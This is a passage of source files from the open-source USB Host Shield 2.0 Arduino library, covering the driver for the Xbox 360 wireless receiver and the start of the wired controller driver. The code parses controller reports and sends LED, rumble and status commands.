360 output endpoint - poll interval 8ms\n        epInfo[ XBOX_OUTPUT_PIPE_1 ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT;\n        epInfo[ XBOX_OUTPUT_PIPE_1 ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints\n        epInfo[ XBOX_OUTPUT_PIPE_1 ].maxPktSize = EP_MAXPKTSIZE;\n        epInfo[ XBOX_OUTPUT_PIPE_1 ].bmSndToggle = 0;\n        epInfo[ XBOX_OUTPUT_PIPE_1 ].bmRcvToggle = 0;\n\n        epInfo[ XBOX_INPUT_PIPE_2 ].epAddr = 0x03; // XBOX 360 report endpoint - poll interval 1ms\n        epInfo[ XBOX_INPUT_PIPE_2 ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT;\n        epInfo[ XBOX_INPUT_PIPE_2 ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints\n        epInfo[ XBOX_INPUT_PIPE_2 ].maxPktSize = EP_MAXPKTSIZE;\n        epInfo[ XBOX_INPUT_PIPE_2 ].bmSndToggle = 0;\n        epInfo[ XBOX_INPUT_PIPE_2 ].bmRcvToggle = 0;\n        epInfo[ XBOX_OUTPUT_PIPE_2 ].epAddr = 0x03; // XBOX 360 output endpoint - poll interval 8ms\n        epInfo[ XBOX_OUTPUT_PIPE_2 ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT;\n        epInfo[ XBOX_OUTPUT_PIPE_2 ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints\n        epInfo[ XBOX_OUTPUT_PIPE_2 ].maxPktSize = EP_MAXPKTSIZE;\n        epInfo[ XBOX_OUTPUT_PIPE_2 ].bmSndToggle = 0;\n        epInfo[ XBOX_OUTPUT_PIPE_2 ].bmRcvToggle = 0;\n\n        epInfo[ XBOX_INPUT_PIPE_3 ].epAddr = 0x05; // XBOX 360 report endpoint - poll interval 1ms\n        epInfo[ XBOX_INPUT_PIPE_3 ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT;\n        epInfo[ XBOX_INPUT_PIPE_3 ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints\n        epInfo[ XBOX_INPUT_PIPE_3 ].maxPktSize = EP_MAXPKTSIZE;\n        epInfo[ XBOX_INPUT_PIPE_3 ].bmSndToggle = 0;\n        epInfo[ XBOX_INPUT_PIPE_3 ].bmRcvToggle = 0;\n        epInfo[ XBOX_OUTPUT_PIPE_3 ].epAddr = 0x05; // XBOX 360 output endpoint - poll interval 8ms\n        epInfo[ XBOX_OUTPUT_PIPE_3 ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT;\n        epInfo[ XBOX_OUTPUT_PIPE_3 ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints\n        epInfo[ XBOX_OUTPUT_PIPE_3 ].maxPktSize = EP_MAXPKTSIZE;\n        epInfo[ XBOX_OUTPUT_PIPE_3 ].bmSndToggle = 0;\n        epInfo[ XBOX_OUTPUT_PIPE_3 ].bmRcvToggle = 0;\n\n        epInfo[ XBOX_INPUT_PIPE_4 ].epAddr = 0x07; // XBOX 360 report endpoint - poll interval 1ms\n        epInfo[ XBOX_INPUT_PIPE_4 ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT;\n        epInfo[ XBOX_INPUT_PIPE_4 ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints\n        epInfo[ XBOX_INPUT_PIPE_4 ].maxPktSize = EP_MAXPKTSIZE;\n        epInfo[ XBOX_INPUT_PIPE_4 ].bmSndToggle = 0;\n        epInfo[ XBOX_INPUT_PIPE_4 ].bmRcvToggle = 0;\n        epInfo[ XBOX_OUTPUT_PIPE_4 ].epAddr = 0x07; // XBOX 360 output endpoint - poll interval 8ms\n        epInfo[ XBOX_OUTPUT_PIPE_4 ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT;\n        epInfo[ XBOX_OUTPUT_PIPE_4 ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints\n        epInfo[ XBOX_OUTPUT_PIPE_4 ].maxPktSize = EP_MAXPKTSIZE;\n        epInfo[ XBOX_OUTPUT_PIPE_4 ].bmSndToggle = 0;\n        epInfo[ XBOX_OUTPUT_PIPE_4 ].bmRcvToggle = 0;\n\n        rcode = pUsb->setEpInfoEntry(bAddress, 9, epInfo);\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n        delay(200); //Give time for address change\n\n        rcode = pUsb->setConf(bAddress, epInfo[ XBOX_CONTROL_PIPE ].epAddr, 1);\n        if(rcode)\n                goto FailSetConfDescr;\n\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nXbox Wireless Receiver Connected\\r\\n\"), 0x80);\n#endif\n        XboxReceiverConnected = true;\n        bPollEnable = true;\n        checkStatusTimer = 0; // Reset timer\n        return 0; // Successful configuration\n\n        /* Diagnostic messages */\nFailSetDevTblEntry:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetDevTblEntry();\n        goto Fail;\n#endif\n\nFailSetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetConfDescr();\n#endif\n\nFail:\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nXbox 360 Init Failed, error code: \"), 0x80);\n        NotifyFail(rcode);\n#endif\n        Release();\n        return rcode;\n}\n\n/* Performs a cleanup after failed Init() attempt */\nuint8_t XBOXRECV::Release() {\n        XboxReceiverConnected = false;\n        for(uint8_t i = 0; i < 4; i++)\n                Xbox360Connected[i] = 0x00;\n        pUsb->GetAddressPool().FreeAddress(bAddress);\n        bAddress = 0;\n        bPollEnable = false;\n        return 0;\n}\n\nuint8_t XBOXRECV::Poll() {\n        if(!bPollEnable)\n                return 0;\n        if(!checkStatusTimer || ((int32_t)((uint32_t)millis() - checkStatusTimer) > 3000)) { // Run checkStatus every 3 seconds\n                checkStatusTimer = (uint32_t)millis();\n                checkStatus();\n        }\n\n        uint8_t inputPipe;\n        uint16_t bufferSize;\n        for(uint8_t i = 0; i < 4; i++) {\n                if(i == 0)\n                        inputPipe = XBOX_INPUT_PIPE_1;\n                else if(i == 1)\n                        inputPipe = XBOX_INPUT_PIPE_2;\n                else if(i == 2)\n                        inputPipe = XBOX_INPUT_PIPE_3;\n                else\n                        inputPipe = XBOX_INPUT_PIPE_4;\n\n                bufferSize = EP_MAXPKTSIZE; // This is the maximum number of bytes we want to receive\n                pUsb->inTransfer(bAddress, epInfo[ inputPipe ].epAddr, &bufferSize, readBuf);\n                if(bufferSize > 0) { // The number of received bytes\n#ifdef EXTRADEBUG\n                        Notify(PSTR(\"Bytes Received: \"), 0x80);\n                        D_PrintHex<uint16_t > (bufferSize, 0x80);\n                        Notify(PSTR(\"\\r\\n\"), 0x80);\n#endif\n                        readReport(i);\n#ifdef PRINTREPORT\n                        printReport(i, bufferSize); // Uncomment \"#define PRINTREPORT\" to print the report send by the Xbox 360 Controller\n#endif\n                }\n        }\n        return 0;\n}\n\nvoid XBOXRECV::readReport(uint8_t controller) {\n        if(readBuf == NULL)\n                return;\n        // This report is send when a controller is connected and disconnected\n        if(readBuf[0] == 0x08 && readBuf[1] != Xbox360Connected[controller]) {\n                Xbox360Connected[controller] = readBuf[1];\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"Controller \"), 0x80);\n                Notify(controller, 0x80);\n#endif\n                if(Xbox360Connected[controller]) {\n#ifdef DEBUG_USB_HOST\n                        const char* str = 0;\n                        switch(readBuf[1]) {\n                                case 0x80: str = PSTR(\" as controller\\r\\n\");\n                                        break;\n                                case 0x40: str = PSTR(\" as headset\\r\\n\");\n                                        break;\n                                case 0xC0: str = PSTR(\" as controller+headset\\r\\n\");\n                                        break;\n                        }\n                        Notify(PSTR(\": connected\"), 0x80);\n                        Notify(str, 0x80);\n#endif\n                        onInit(controller);\n                }\n#ifdef DEBUG_USB_HOST\n                else\n                        Notify(PSTR(\": disconnected\\r\\n\"), 0x80);\n#endif\n                return;\n        }\n        // Controller status report\n        if(readBuf[1] == 0x00 && readBuf[3] & 0x13 && readBuf[4] >= 0x22) {\n                controllerStatus[controller] = ((uint16_t)readBuf[3] << 8) | readBuf[4];\n                return;\n        }\n        if(readBuf[1] != 0x01) // Check if it's the correct report - the receiver also sends different status reports\n                return;\n\n        // A controller must be connected if it's sending data\n        if(!Xbox360Connected[controller])\n                Xbox360Connected[controller] |= 0x80;\n\n        ButtonState[controller] = (uint32_t)(readBuf[9] | ((uint16_t)readBuf[8] << 8) | ((uint32_t)readBuf[7] << 16) | ((uint32_t)readBuf[6] << 24));\n\n        hatValue[controller][LeftHatX] = (int16_t)(((uint16_t)readBuf[11] << 8) | readBuf[10]);\n        hatValue[controller][LeftHatY] = (int16_t)(((uint16_t)readBuf[13] << 8) | readBuf[12]);\n        hatValue[controller][RightHatX] = (int16_t)(((uint16_t)readBuf[15] << 8) | readBuf[14]);\n        hatValue[controller][RightHatY] = (int16_t)(((uint16_t)readBuf[17] << 8) | readBuf[16]);\n\n        //Notify(PSTR(\"\\r\\nButtonState: \"), 0x80);\n        //PrintHex<uint32_t>(ButtonState[controller], 0x80);\n\n        if(ButtonState[controller] != OldButtonState[controller]) {\n                buttonStateChanged[controller] = true;\n                ButtonClickState[controller] = (ButtonState[controller] >> 16) & ((~OldButtonState[controller]) >> 16); // Update click state variable, but don't include the two trigger buttons L2 and R2\n                if(((uint8_t)OldButtonState[controller]) == 0 && ((uint8_t)ButtonState[controller]) != 0) // The L2 and R2 buttons are special as they are analog buttons\n                        R2Clicked[controller] = true;\n                if((uint8_t)(OldButtonState[controller] >> 8) == 0 && (uint8_t)(ButtonState[controller] >> 8) != 0)\n                        L2Clicked[controller] = true;\n                OldButtonState[controller] = ButtonState[controller];\n        }\n}\n\nvoid XBOXRECV::printReport(uint8_t controller __attribute__((unused)), uint8_t nBytes __attribute__((unused))) { //Uncomment \"#define PRINTREPORT\" to print the report send by the Xbox 360 Controller\n#ifdef PRINTREPORT\n        if(readBuf == NULL)\n                return;\n        Notify(PSTR(\"Controller \"), 0x80);\n        Notify(controller, 0x80);\n        Notify(PSTR(\": \"), 0x80);\n        for(uint8_t i = 0; i < nBytes; i++) {\n                D_PrintHex<uint8_t > (readBuf[i], 0x80);\n                Notify(PSTR(\" \"), 0x80);\n        }\n        Notify(PSTR(\"\\r\\n\"), 0x80);\n#endif\n}\n\nuint8_t XBOXRECV::getButtonPress(ButtonEnum b, uint8_t controller) {\n        if(b == L2) // These are analog buttons\n                return (uint8_t)(ButtonState[controller] >> 8);\n        else if(b == R2)\n                return (uint8_t)ButtonState[controller];\n        return (bool)(ButtonState[controller] & ((uint32_t)pgm_read_word(&XBOX_BUTTONS[(uint8_t)b]) << 16));\n}\n\nbool XBOXRECV::getButtonClick(ButtonEnum b, uint8_t controller) {\n        if(b == L2) {\n                if(L2Clicked[controller]) {\n                        L2Clicked[controller] = false;\n                        return true;\n                }\n                return false;\n        } else if(b == R2) {\n                if(R2Clicked[controller]) {\n                        R2Clicked[controller] = false;\n                        return true;\n                }\n                return false;\n        }\n        uint16_t button = pgm_read_word(&XBOX_BUTTONS[(uint8_t)b]);\n        bool click = (ButtonClickState[controller] & button);\n        ButtonClickState[controller] &= ~button; // clear \"click\" event\n        return click;\n}\n\nint16_t XBOXRECV::getAnalogHat(AnalogHatEnum a, uint8_t controller) {\n        return hatValue[controller][a];\n}\n\nbool XBOXRECV::buttonChanged(uint8_t controller) {\n        bool state = buttonStateChanged[controller];\n        buttonStateChanged[controller] = false;\n        return state;\n}\n\n/*\nControllerStatus Breakdown\nControllerStatus[controller] & 0x0001   // 0\nControllerStatus[controller] & 0x0002   // normal batteries, no rechargeable battery pack\nControllerStatus[controller] & 0x0004   // controller starting up / settling\nControllerStatus[controller] & 0x0008   // headset adapter plugged in, but no headphones connected (mute?)\nControllerStatus[controller] & 0x0010   // 0\nControllerStatus[controller] & 0x0020   // 1\nControllerStatus[controller] & 0x0040   // battery level (high bit)\nControllerStatus[controller] & 0x0080   // battery level (low bit)\nControllerStatus[controller] & 0x0100   // 1\nControllerStatus[controller] & 0x0200   // 1\nControllerStatus[controller] & 0x0400   // headset adapter plugged in\nControllerStatus[controller] & 0x0800   // 0\nControllerStatus[controller] & 0x1000   // 1\nControllerStatus[controller] & 0x2000   // 0\nControllerStatus[controller] & 0x4000   // 0\nControllerStatus[controller] & 0x8000   // 0\n */\nuint8_t XBOXRECV::getBatteryLevel(uint8_t controller) {\n        return ((controllerStatus[controller] & 0x00C0) >> 6);\n}\n\nvoid XBOXRECV::XboxCommand(uint8_t controller, uint8_t* data, uint16_t nbytes) {\n#ifdef EXTRADEBUG\n        uint8_t rcode;\n#endif\n        uint8_t outputPipe;\n        switch(controller) {\n                case 0: outputPipe = XBOX_OUTPUT_PIPE_1;\n                        break;\n                case 1: outputPipe = XBOX_OUTPUT_PIPE_2;\n                        break;\n                case 2: outputPipe = XBOX_OUTPUT_PIPE_3;\n                        break;\n                case 3: outputPipe = XBOX_OUTPUT_PIPE_4;\n                        break;\n                default:\n                        return;\n        }\n#ifdef EXTRADEBUG\n        rcode =\n#endif\n                pUsb->outTransfer(bAddress, epInfo[ outputPipe ].epAddr, nbytes, data);\n#ifdef EXTRADEBUG\n        if(rcode)\n                Notify(PSTR(\"Error sending Xbox message\\r\\n\"), 0x80);\n#endif\n}\n\nvoid XBOXRECV::disconnect(uint8_t controller) {\n        writeBuf[0] = 0x00;\n        writeBuf[1] = 0x00;\n        writeBuf[2] = 0x08;\n        writeBuf[3] = 0xC0;\n\n        XboxCommand(controller, writeBuf, 4);\n}\n\nvoid XBOXRECV::setLedRaw(uint8_t value, uint8_t controller) {\n        writeBuf[0] = 0x00;\n        writeBuf[1] = 0x00;\n        writeBuf[2] = 0x08;\n        writeBuf[3] = value | 0x40;\n\n        XboxCommand(controller, writeBuf, 4);\n}\n\nvoid XBOXRECV::setLedOn(LEDEnum led, uint8_t controller) {\n        if(led == OFF)\n                setLedRaw(0, controller);\n        else if(led != ALL) // All LEDs can't be on a the same time\n                setLedRaw(pgm_read_byte(&XBOX_LEDS[(uint8_t)led]) + 4, controller);\n}\n\nvoid XBOXRECV::setLedBlink(LEDEnum led, uint8_t controller) {\n        setLedRaw(pgm_read_byte(&XBOX_LEDS[(uint8_t)led]), controller);\n}\n\nvoid XBOXRECV::setLedMode(LEDModeEnum ledMode, uint8_t controller) { // This function is used to do some speciel LED stuff the controller supports\n        setLedRaw((uint8_t)ledMode, controller);\n}\n\n/* PC runs this at interval of approx 2 seconds\nThanks to BusHound from Perisoft.net for the Windows USB Analysis output\nFound by timstamp.co.uk\n */\nvoid XBOXRECV::checkStatus() {\n        if(!bPollEnable)\n                return;\n        // Get controller info\n        writeBuf[0] = 0x08;\n        writeBuf[1] = 0x00;\n        writeBuf[2] = 0x0f;\n        writeBuf[3] = 0xc0;\n        for(uint8_t i = 0; i < 4; i++) {\n                XboxCommand(i, writeBuf, 4);\n        }\n        // Get battery status\n        writeBuf[0] = 0x00;\n        writeBuf[1] = 0x00;\n        writeBuf[2] = 0x00;\n        writeBuf[3] = 0x40;\n        for(uint8_t i = 0; i < 4; i++) {\n                if(Xbox360Connected[i])\n                        XboxCommand(i, writeBuf, 4);\n        }\n}\n\nvoid XBOXRECV::setRumbleOn(uint8_t lValue, uint8_t rValue, uint8_t controller) {\n        writeBuf[0] = 0x00;\n        writeBuf[1] = 0x01;\n        writeBuf[2] = 0x0f;\n        writeBuf[3] = 0xc0;\n        writeBuf[4] = 0x00;\n        writeBuf[5] = lValue; // big weight\n        writeBuf[6] = rValue; // small weight\n\n        XboxCommand(controller, writeBuf, 7);\n}\n\nvoid XBOXRECV::onInit(uint8_t controller) {\n        if(pFuncOnInit)\n                pFuncOnInit(); // Call the user function\n        else {\n                LEDEnum led;\n                if(controller == 0)\n                        led = static_cast<LEDEnum>(LED1);\n                else if(controller == 1)\n                        led = static_cast<LEDEnum>(LED2);\n                else if(controller == 2)\n                        led = static_cast<LEDEnum>(LED3);\n                else\n                        led = static_cast<LEDEnum>(LED4);\n                setLedOn(led, controller);\n        }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/XBOXRECV.h",
    "content": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n\n getBatteryLevel and checkStatus functions made by timstamp.co.uk found using BusHound from Perisoft.net\n */\n\n#ifndef _xboxrecv_h_\n#define _xboxrecv_h_\n\n#include \"Usb.h\"\n#include \"xboxEnums.h\"\n\n/* Data Xbox 360 taken from descriptors */\n#define EP_MAXPKTSIZE       32 // max size for data via USB\n\n/* Names we give to the 9 Xbox360 pipes */\n#define XBOX_CONTROL_PIPE   0\n#define XBOX_INPUT_PIPE_1   1\n#define XBOX_OUTPUT_PIPE_1  2\n#define XBOX_INPUT_PIPE_2   3\n#define XBOX_OUTPUT_PIPE_2  4\n#define XBOX_INPUT_PIPE_3   5\n#define XBOX_OUTPUT_PIPE_3  6\n#define XBOX_INPUT_PIPE_4   7\n#define XBOX_OUTPUT_PIPE_4  8\n\n// PID and VID of the different devices\n#define XBOX_VID                                0x045E  // Microsoft Corporation\n#define MADCATZ_VID                             0x1BAD  // For unofficial Mad Catz receivers\n#define JOYTECH_VID                             0x162E  // For unofficial Joytech controllers\n\n#define XBOX_WIRELESS_RECEIVER_PID              0x0719  // Microsoft Wireless Gaming Receiver\n#define XBOX_WIRELESS_RECEIVER_THIRD_PARTY_PID  0x0291  // Third party Wireless Gaming Receiver\n\n#define XBOX_MAX_ENDPOINTS   9\n\n/**\n * This class implements support for a Xbox Wireless receiver.\n *\n * Up to four controllers can connect to one receiver, if more is needed one can use a second receiver via the USBHub class.\n */\nclass XBOXRECV : public USBDeviceConfig {\npublic:\n        /**\n         * Constructor for the XBOXRECV class.\n         * @param  pUsb   Pointer to USB class instance.\n         */\n        XBOXRECV(USB *pUsb);\n\n        /** @name USBDeviceConfig implementation */\n        /**\n         * Address assignment and basic initilization is done here.\n         * @param  parent   Hub number.\n         * @param  port     Port number on the hub.\n         * @param  lowspeed Speed of the device.\n         * @return          0 on success.\n         */\n        uint8_t ConfigureDevice(uint8_t parent, uint8_t port, bool lowspeed);\n        /**\n         * Initialize the Xbox wireless receiver.\n         * @param  parent   Hub number.\n         * @param  port     Port number on the hub.\n         * @param  lowspeed Speed of the device.\n         * @return          0 on success.\n         */\n        uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed);\n        /**\n         * Release the USB device.\n         * @return 0 on success.\n         */\n        uint8_t Release();\n        /**\n         * Poll the USB Input endpoins and run the state machines.\n         * @return 0 on success.\n         */\n        uint8_t Poll();\n\n        /**\n         * Get the device address.\n         * @return The device address.\n         */\n        virtual uint8_t GetAddress() {\n                return bAddress;\n        };\n\n        /**\n         * Used to check if the controller has been initialized.\n         * @return True if it's ready.\n         */\n        virtual bool isReady() {\n                return bPollEnable;\n        };\n\n        /**\n         * Used by the USB core to check what this driver support.\n         * @param  vid The device's VID.\n         * @param  pid The device's PID.\n         * @return     Returns true if the device's VID and PID matches this driver.\n         */\n        virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) {\n                return ((vid == XBOX_VID || vid == MADCATZ_VID || vid == JOYTECH_VID) && (pid == XBOX_WIRELESS_RECEIVER_PID || pid == XBOX_WIRELESS_RECEIVER_THIRD_PARTY_PID));\n        };\n        /**@}*/\n\n        /** @name Xbox Controller functions */\n        /**\n         * getButtonPress(uint8_t controller, ButtonEnum b) will return true as long as the button is held down.\n         *\n         * While getButtonClick(uint8_t controller, ButtonEnum b) will only return it once.\n         *\n         * So you instance if you need to increase a variable once you would use getButtonClick(uint8_t controller, ButtonEnum b),\n         * but if you need to drive a robot forward you would use getButtonPress(uint8_t controller, ButtonEnum b).\n         * @param  b          ::ButtonEnum to read.\n         * @param  controller The controller to read from. Default to 0.\n         * @return            getButtonClick(uint8_t controller, ButtonEnum b) will return a bool, while getButtonPress(uint8_t controller, ButtonEnum b) will return a byte if reading ::L2 or ::R2.\n         */\n        uint8_t getButtonPress(ButtonEnum b, uint8_t controller = 0);\n        bool getButtonClick(ButtonEnum b, uint8_t controller = 0);\n        /**@}*/\n\n        /** @name Xbox Controller functions */\n        /**\n         * Return the analog value from the joysticks on the controller.\n         * @param  a          Either ::LeftHatX, ::LeftHatY, ::RightHatX or ::RightHatY.\n         * @param  controller The controller to read from. Default to 0.\n         * @return            Returns a signed 16-bit integer.\n         */\n        int16_t getAnalogHat(AnalogHatEnum a, uint8_t controller = 0);\n\n        /**\n         * Used to disconnect any of the controllers.\n         * @param controller The controller to disconnect. Default to 0.\n         */\n        void disconnect(uint8_t controller = 0);\n\n        /**\n         * Turn rumble off and all the LEDs on the specific controller.\n         * @param  controller The controller to write to. Default to 0.\n         */\n        void setAllOff(uint8_t controller = 0) {\n                setRumbleOn(0, 0, controller);\n                setLedOff(controller);\n        };\n\n        /**\n         * Turn rumble off the specific controller.\n         * @param  controller The controller to write to. Default to 0.\n         */\n        void setRumbleOff(uint8_t controller = 0) {\n                setRumbleOn(0, 0, controller);\n        };\n        /**\n         * Turn rumble on.\n         * @param lValue     Left motor (big weight) inside the controller.\n         * @param rValue     Right motor (small weight) inside the controller.\n         * @param controller The controller to write to. Default to 0.\n         */\n        void setRumbleOn(uint8_t lValue, uint8_t rValue, uint8_t controller = 0);\n        /**\n         * Set LED value. Without using the ::LEDEnum or ::LEDModeEnum.\n         * @param value      See:\n         * setLedOff(uint8_t controller), setLedOn(uint8_t controller, LED l),\n         * setLedBlink(uint8_t controller, LED l), and setLedMode(uint8_t controller, LEDMode lm).\n         * @param controller The controller to write to. Default to 0.\n         */\n        void setLedRaw(uint8_t value, uint8_t controller = 0);\n\n        /**\n         * Turn all LEDs off the specific controller.\n         * @param controller The controller to write to. Default to 0.\n         */\n        void setLedOff(uint8_t controller = 0) {\n                setLedRaw(0, controller);\n        };\n        /**\n         * Turn on a LED by using ::LEDEnum.\n         * @param l          ::OFF, ::LED1, ::LED2, ::LED3 and ::LED4 is supported by the Xbox controller.\n         * @param controller The controller to write to. Default to 0.\n         */\n        void setLedOn(LEDEnum l, uint8_t controller = 0);\n        /**\n         * Turn on a LED by using ::LEDEnum.\n         * @param l          ::ALL, ::LED1, ::LED2, ::LED3 and ::LED4 is supported by the Xbox controller.\n         * @param controller The controller to write to. Default to 0.\n         */\n        void setLedBlink(LEDEnum l, uint8_t controller = 0);\n        /**\n         * Used to set special LED modes supported by the Xbox controller.\n         * @param lm         See ::LEDModeEnum.\n         * @param controller The controller to write to. Default to 0.\n         */\n        void setLedMode(LEDModeEnum lm, uint8_t controller = 0);\n        /**\n         * Used to get the battery level from the controller.\n         * @param  controller The controller to read from. Default to 0.\n         * @return            Returns the battery level as an integer in the range of 0-3.\n         */\n        uint8_t getBatteryLevel(uint8_t controller = 0);\n        /**\n         * Used to check if a button has changed.\n         * @param  controller The controller to read from. Default to 0.\n         * @return            True if a button has changed.\n         */\n        bool buttonChanged(uint8_t controller = 0);\n\n        /**\n         * Used to call your own function when the controller is successfully initialized.\n         * @param funcOnInit Function to call.\n         */\n        void attachOnInit(void (*funcOnInit)(void)) {\n                pFuncOnInit = funcOnInit;\n        };\n        /**@}*/\n\n        /** True if a wireless receiver is connected. */\n        bool XboxReceiverConnected;\n        /** Variable used to indicate if the XBOX 360 controller is successfully connected. */\n        uint8_t Xbox360Connected[4];\n\nprotected:\n        /** Pointer to USB class instance. */\n        USB *pUsb;\n        /** Device address. */\n        uint8_t bAddress;\n        /** Endpoint info structure. */\n        EpInfo epInfo[XBOX_MAX_ENDPOINTS];\n\nprivate:\n        /**\n         * Called when the controller is successfully initialized.\n         * Use attachOnInit(void (*funcOnInit)(void)) to call your own function.\n         * This is useful for instance if you want to set the LEDs in a specific way.\n         * @param controller The initialized controller.\n         */\n        void onInit(uint8_t controller);\n        void (*pFuncOnInit)(void); // Pointer to function called in onInit()\n\n        bool bPollEnable;\n\n        /* Variables to store the buttons */\n        uint32_t ButtonState[4];\n        uint32_t OldButtonState[4];\n        uint16_t ButtonClickState[4];\n        int16_t hatValue[4][4];\n        uint16_t controllerStatus[4];\n        bool buttonStateChanged[4]; // True if a button has changed\n\n        bool L2Clicked[4]; // These buttons are analog, so we use we use these bools to check if they where clicked or not\n        bool R2Clicked[4];\n\n        uint32_t checkStatusTimer; // Timing for checkStatus() signals\n\n        uint8_t readBuf[EP_MAXPKTSIZE]; // General purpose buffer for input data\n        uint8_t writeBuf[7]; // General purpose buffer for output data\n\n        void readReport(uint8_t controller); // read incoming data\n        void printReport(uint8_t controller, uint8_t nBytes); // print incoming date - Uncomment for debugging\n\n        /* Private commands */\n        void XboxCommand(uint8_t controller, uint8_t* data, uint16_t nbytes);\n        void checkStatus();\n};\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/XBOXUSB.cpp",
    "content": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#include \"XBOXUSB.h\"\n// To enable serial debugging see \"settings.h\"\n//#define EXTRADEBUG // Uncomment to get even more debugging data\n//#define PRINTREPORT // Uncomment to print the report send by the Xbox 360 Controller\n\nXBOXUSB::XBOXUSB(USB *p) :\npUsb(p), // pointer to USB class instance - mandatory\nbAddress(0), // device address - mandatory\nbPollEnable(false) { // don't start polling before dongle is connected\n        for(uint8_t i = 0; i < XBOX_MAX_ENDPOINTS; i++) {\n                epInfo[i].epAddr = 0;\n                epInfo[i].maxPktSize = (i) ? 0 : 8;\n                epInfo[i].bmSndToggle = 0;\n                epInfo[i].bmRcvToggle = 0;\n                epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER;\n        }\n\n        if(pUsb) // register in USB subsystem\n                pUsb->RegisterDeviceClass(this); //set devConfig[] entry\n}\n\nuint8_t XBOXUSB::Init(uint8_t parent, uint8_t port, bool lowspeed) {\n        uint8_t buf[sizeof (USB_DEVICE_DESCRIPTOR)];\n        USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);\n        uint8_t rcode;\n        UsbDevice *p = NULL;\n        EpInfo *oldep_ptr = NULL;\n        uint16_t PID;\n        uint16_t VID;\n\n        // get memory address of USB device address pool\n        AddressPool &addrPool = pUsb->GetAddressPool();\n#ifdef EXTRADEBUG\n        Notify(PSTR(\"\\r\\nXBOXUSB Init\"), 0x80);\n#endif\n        // check if address has already been assigned to an instance\n        if(bAddress) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nAddress in use\"), 0x80);\n#endif\n                return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;\n        }\n\n        // Get pointer to pseudo device with address 0 assigned\n        p = addrPool.GetUsbDevicePtr(0);\n\n        if(!p) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nAddress not found\"), 0x80);\n#endif\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n        }\n\n        if(!p->epinfo) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nepinfo is null\"), 0x80);\n#endif\n                return USB_ERROR_EPINFO_IS_NULL;\n        }\n\n        // Save old pointer to EP_RECORD of address 0\n        oldep_ptr = p->epinfo;\n\n        // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence\n        p->epinfo = epInfo;\n\n        p->lowspeed = lowspeed;\n\n        // Get device descriptor\n        rcode = pUsb->getDevDescr(0, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*)buf); // Get device descriptor - addr, ep, nbytes, data\n        // Restore p->epinfo\n        p->epinfo = oldep_ptr;\n\n        if(rcode)\n                goto FailGetDevDescr;\n\n        VID = udd->idVendor;\n        PID = udd->idProduct;\n\n        if(VID != XBOX_VID && VID != MADCATZ_VID && VID != JOYTECH_VID && VID != GAMESTOP_VID) // Check VID\n                goto FailUnknownDevice;\n        if(PID == XBOX_WIRELESS_PID) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nYou have plugged in a wireless Xbox 360 controller - it doesn't support USB communication\"), 0x80);\n#endif\n                goto FailUnknownDevice;\n        } else if(PID == XBOX_WIRELESS_RECEIVER_PID || PID == XBOX_WIRELESS_RECEIVER_THIRD_PARTY_PID) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nThis library only supports Xbox 360 controllers via USB\"), 0x80);\n#endif\n                goto FailUnknownDevice;\n        } else if(PID != XBOX_WIRED_PID && PID != MADCATZ_WIRED_PID && PID != GAMESTOP_WIRED_PID && PID != AFTERGLOW_WIRED_PID && PID != JOYTECH_WIRED_PID) // Check PID\n                goto FailUnknownDevice;\n\n        // Allocate new address according to device class\n        bAddress = addrPool.AllocAddress(parent, false, port);\n\n        if(!bAddress)\n                return 